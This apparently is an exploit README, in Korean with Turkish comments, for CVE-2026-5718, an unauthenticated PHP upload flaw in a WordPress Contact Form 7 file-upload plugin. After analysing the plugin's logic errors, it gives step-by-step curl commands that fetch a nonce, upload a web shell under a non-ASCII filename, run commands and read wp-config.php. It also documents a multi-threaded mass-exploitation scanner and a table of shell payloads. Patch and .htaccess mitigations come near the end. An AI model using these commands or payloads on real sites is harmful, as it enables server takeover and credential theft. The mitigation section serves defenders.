
CVE-2026-5718: DnD Upload CF7 플러그인의 인증되지 않은 파일 업로드를 통한 RCE
CVE-2026-5718: DnD Upload CF7 플러그인의 인증되지 않은 파일 업로드를 통한 RCE
플러그인: Drag and Drop Multiple File Upload for Contact Form 7 플러그인 슬러그:
drag-and-drop-multiple-file-upload-contact-form-7CVE ID: CVE-2026-5718 CVSS 점수: 8.1 (높음) CVSS 벡터:CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H취약점 유형: 인증되지 않은 임의 파일 업로드 → 원격 코드 실행 영향받는 버전: <= 1.3.9.6 패치 버전: 1.3.9.7 공개 날짜: 2026년 4월 17일 연구자: Leonid Semenenko (lsemenenko) — Wordfence
Drag and Drop Multiple File Upload for Contact Form 7 플러그인에서 두 가지 독립적인 논리 오류가 결합되어 인증되지 않은 공격자가 PHP 웹셸을 업로드할 수 있게 합니다.
php는 더 이상 차단되지 않습니다.wpcf7_antiscript_file_name() 함수 호출이 차단됩니다.
.php 확장자가 유지되고 파일이 디스크에 기록됩니다.// inc/dnd-upload-cf7.php — lines 62–71
function dnd_wpcf7_nonce_check() {
// Tek koruma: User-Agent'ta 'curl' kontrolü — kolayca atlatılır
if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
wp_send_json_error('Request blocked: cURL access is forbidden.');
}
if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
// Geçersiz nonce → YENİ NONCE DÖNDÜRÜR
wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
}
}
wp_ajax_nopriv__wpcf7_check_nonce 액션은 공개되어 있습니다.
유효하지 않은 nonce를 보내면 새 nonce가 무료로 제공됩니다.
Mozilla UA로 curl 검사를 우회합니다.
// inc/dnd-upload-cf7.php — lines 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 tehlikeli uzantı: php, php3, php4, pht, phtml, phar...
if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// ↑ ASSIGNMENT (=) — MERGE DEĞİL
// Özel liste: sadece ['zip']
// 'php' artık listede YOK → kabul edilir
}
트리거하는 폼 태그 구성:
[mfile upload-file filetypes="*" blacklist-types:zip]
관리자가 ZIP을 차단하려고 하면 → 플러그인이 모든 기본 차단 목록을 삭제합니다.
php를 포함한 모든 위험한 확장자가 이제 허용됩니다.
또한 filetypes="*"에 대한 하드코딩 목록도 불완전합니다:
// line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' EKSİK
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
// inc/dnd-upload-cf7.php — lines 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
// Sadece pure-ASCII dosya adları için çağrılır
$filename = wpcf7_antiscript_file_name( $ascii_name );
// ↑ shell.php → shell.php.txt yapardı — ama atlanıyor
}
// Non-ASCII karakter varsa bu blok ATLANIR
// $filename = "shellシ.php" → .php uzantısı korunur
// dnd_cf7_check_ascii() — lines 1029–1041
function dnd_cf7_check_ascii( $string ) {
$string = sanitize_file_name( $string );
// ↑ Sadece lokal kopya değişir, dış $filename ETKİLENMEZ
if ( mb_check_encoding( $string, 'ASCII' ) ) {
return true;
}
return false; // Non-ASCII karakter → false → antiscript atlanır
}
┌─────────────────────────────────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce │
│ User-Agent: Mozilla/5.0 (curl değil) │
│ │ │
│ ▼ │
│ {"success":true,"data":"abc123def456"} │
│ → Nonce ücretsiz alındı │
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload │
│ security=abc123def456 │
│ upload-file=shellシ.php (Content-Type: application/x-php) │
│ │ │
│ ├── Nonce geçerli ✓ │
│ ├── blacklist=['zip'] → 'php' engellenmez ✓ │
│ ├── dnd_cf7_check_ascii("shellシ.php") = false │
│ ├── wpcf7_antiscript_file_name() ATLANIR ✓ │
│ └── move_uploaded_file("shellシ.php") → Diske yazıldı│
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ GET /wp-content/uploads/wp_dndcf7_uploads/ │
│ wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id │
│ │ │
│ ▼ │
│ uid=33(www-data) gid=33(www-data) groups=33(www-data) │
│ → Unauthenticated RCE ✓ │
└─────────────────────────────────────────────────────────────┘
⚠️ 고지: 이 PoC는 교육 및 방어적 보안 연구 목적으로만 제공됩니다. 소유한 시스템이나 명시적인 서면 승인을 받은 시스템에서만 사용하십시오.
전제 조건:
[mfile] 필드와 blacklist-types가 포함되어야 함:
[mfile upload-file filetypes="*" blacklist-types:zip]
TARGET="https://target.example.com"
NONCE=$(curl -s -X POST \
"$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
--data "action=_wpcf7_check_nonce" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
echo "Nonce: $NONCE"
예상 응답:
{"success": true, "data": "abc123def456"}
# 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
-F "action=dnd_codedropz_upload" \
-F "security=${NONCE}" \
-F "form_id=${FORM_ID}" \
-F "upload_name=${FIELD_NAME}" \
-F "upload_folder=${SESSION_FOLDER}" \
-F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
예상 응답:
{
"success": true,
"data": {
"path": "<session-folder-uuid>",
"file": "shellシ.php"
}
}
UPLOAD_PATH="<path-from-response>"
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"
# id komutu
curl -s "${SHELL_URL}?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# wp-config.php oku
curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"
git clone https://github.com/kullanici/cve-2026-5718-scanner
cd cve-2026-5718-scanner
pip install -r requirements.txt
requirements.txt
requests
python dnd_cf7_upload.py -u http://hedef.com
python dnd_cf7_upload.py -u http://hedef.com \
--form-id 1 --field-name upload-file
python dnd_cf7_upload.py -u http://hedef.com \
--shell-type full --verify-cmd "whoami"
python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt
python dnd_cf7_upload.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
스캐너는 다음 문자들을 순서대로 시도합니다:
WordPress Kök/
└── wp-content/
└── uploads/
└── wp_dndcf7_uploads/
└── wpcf7-files/
└── <session-uuid>/
└── shellシ.php ← Shell burada
⚠️ 참고: 플러그인은 기본적으로 1시간 후 파일을 정리합니다. 셸은 이 시간 동안 접근 가능한 상태입니다.
[*] Hedef : http://hedef.com
[*] Form ID : otomatik tespit
[*] Shell Tipi : system
[*] Verify CMD : id
[→] http://hedef.com Adım 1/5: Nonce alınıyor...
[→] http://hedef.com Adım 2/5: CF7 form tespiti...
[→] http://hedef.com Adım 3/5: Shell yükleniyor (non-ASCII bypass)...
[→] http://hedef.com Adım 4/5: Shell URL oluşturuluyor...
[→] http://hedef.com Adım 5/5: RCE doğrulanıyor...
═════════════════════════════════════════════════════════════════
[★ RCE OK ] http://hedef.com
Sürüm : 1.3.9.6
Nonce : abc123def4 (kaynak: ajax_endpoint)
Non-ASCII : シ
Shell URL : http://hedef.com/wp-content/uploads/wp_dndcf7_uploads/
wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
RCE Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
═════════════════════════════════════════════════════════════════
[+] Kaydedildi → rce_results.txt
안전한 블랙리스트 병합:
// Güvensiz (mevcut — 1.3.9.6)
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// Güvenli (önerilen — 1.3.9.7+)
$blacklist_types = array_merge(
dnd_cf7_not_allowed_ext(),
explode( '|', $blacklist["$cf7_upload_name"] )
);
조건 없는 안티스크립트:
// Güvensiz (mevcut)
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
$filename = wpcf7_antiscript_file_name( $ascii_name );
}
// Güvenli (önerilen)
$filename = wpcf7_antiscript_file_name( $filename ); // her zaman çağır
업로드 디렉토리 .htaccess:
<FilesMatch "\.php\d?$">
Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
cve-2026-5718-scanner/
├── dnd_cf7_upload.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
이 도구와 PoC는 승인된 시스템에서 교육 목적 및 침투 테스트 범위 내에서만 사용하도록 제작되었습니다. 무단 시스템에서의 사용은 터키 형법 제243-245조 및 국제 사이버 범죄 법률에 따라 범죄에 해당합니다. 개발자는 도구의 오용으로 인해 발생하는 어떠한 법적 책임도 지지 않습니다.
MIT License — 교육 및 연구 목적으로만 사용할 수 있습니다.
| 필드 | 값 |
|---|
| 플러그인 이름 | Drag and Drop Multiple File Upload for CF7 |
| CVE ID | CVE-2026-5718 |
| CVSS 점수 | 8.1 (높음) |
| 취약점 유형 | 인증되지 않은 임의 파일 업로드 |
| 영향받는 버전 | <= 1.3.9.6 |
| 패치 버전 | 1.3.9.7 |
| 전제 조건 | CF7 폼의 blacklist-types 사용자 정의 구성 |
| 매개변수 | 약어 | 설명 | 기본값 |
|---|
--url | -u | 단일 대상 URL | — |
--list | -l | 대상 목록 파일 | — |
--threads | -t | 스레드 수 | 10 |
--output | -o | 출력 파일 | rce_results.txt |
--form-id | — | CF7 폼 ID | 자동 감지 |
--field-name | — | mfile 필드 이름 | upload-file |
--shell-name | — | 셸 파일 이름 | shell |
--shell-type | — | 셸 유형 | system |
--verify-cmd | — | RCE 확인 명령 | id |
--proxy | — | 프록시 URL | — |
--timeout | — | 요청 시간 제한(초) | 10 |
--force | — | 플러그인 감지 실패해도 계속 진행 | False |
| 유형 | Payload | 설명 |
|---|
system | <?php system($_GET["cmd"]); ?> | 기본 시스템 명령 |
passthru | <?php passthru($_GET["cmd"]); ?> | 원시 출력 |
exec | <?php echo exec($_GET["cmd"]); ?> | 조용한 실행 |
assert | <?php assert($_POST["cmd"]); ?> | POST를 통한 eval |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Base64 난독화 |
full | shell_exec + system + exec fallback | 전체 기능 |
| 문자 | Unicode | 설명 |
|---|
シ | U+30B7 | 가타카나 Si (PoC에서 사용) |
ж | U+0436 | 키릴 문자 |
ñ | U+00F1 | 라틴 확장 |
中 | U+4E2D | CJK |
α | U+03B1 | 그리스 문자 |
ß | U+00DF | 독일어 |
| 상태 | 설명 |
|---|
★ RCE OK | 셸 업로드됨 + 명령 실행됨 |
★ SHELL ALIVE | 셸 접근 가능, 다른 응답 |
~ EXEC_DISABLED | 셸 있음, exec() 비활성화됨 |
~ HTACCESS | 셸 업로드됨, .htaccess 차단 |
? UPLOADED | 업로드됨, URL을 찾을 수 없음 |
- UPL_FAIL | 업로드 실패 (패치됨/구성 없음) |
~ NO_NONCE | Nonce를 얻을 수 없음 |
- NO_PLUGIN | 플러그인이 설치되지 않음 |
~ UNREACH | 대상에 연결할 수 없음 |
| 조치 | 적용 방법 |
|---|
| 플러그인 업데이트 | 1.3.9.7+ 버전으로 업그레이드 |
| 블랙리스트 병합 | = 대신 array_merge() 사용 |
| 조건 없는 안티스크립트 | wpcf7_antiscript_file_name() 항상 호출해야 함 |
| Nonce 보호 | Nonce 엔드포인트를 공개 접근에서 차단해야 함 |
| .htaccess | 업로드 디렉토리에서 PHP 실행 차단 |